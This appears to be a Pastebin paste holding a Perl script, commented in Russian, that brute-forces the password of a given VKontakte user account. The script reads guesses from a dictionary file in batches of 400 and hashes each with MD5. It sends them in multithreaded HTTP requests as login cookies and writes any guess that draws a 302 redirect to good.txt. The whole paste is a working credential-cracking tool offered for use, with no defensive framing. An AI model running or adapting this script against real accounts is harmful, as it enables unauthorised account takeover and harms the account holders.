Advertisement
Guest User

Untitled

a guest
Nov 21st, 2014
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $dic = 'passl.txt'; #словарь паролей
  2. $id = 111111; #id http://vk.com/id260052677
  3. $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
  4. $threads = 4; #количество потоков (чем больше потоков тем больше и скорость поиска )
  5. ######################################
  6. open (pass, "<$dic");
  7. Next:
  8. @pass = pass();
  9. for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
  10. for(@trl) { $_->join; }
  11. sub Brut
  12. {
  13. while (@pass){
  14. $pass = shift @pass;
  15. $md5 = MD5->hexhash($pass);
  16. $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
  17. print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
  18. "Host: vkontakte.ru\r\n".
  19. "Accept: */*\r\n".
  20. "Content-Type: application/x-www-form-urlencoded\r\n".
  21. "User-Agent: Mozillo\r\n".
  22. "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
  23. "Connection: close\r\n\r\n";
  24. $answ = <$sock>;
  25. close $sock;
  26. print "$pass $answ";
  27. if ($answ =~ /302/){
  28. open (good, '>>good.txt');
  29. print good "$id:$pass:$md5\n";
  30. print "$id:$pass:$md5\n";
  31. close good;
  32. exit;}
  33. }
  34. }
  35. goto Next;
  36. sub pass
  37. {
  38. my (@mas);
  39. while (<pass>){
  40. push @mas, $_;
  41. last if (@mas == 400);
  42. }
  43. chomp @mas;
  44. return @mas;
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement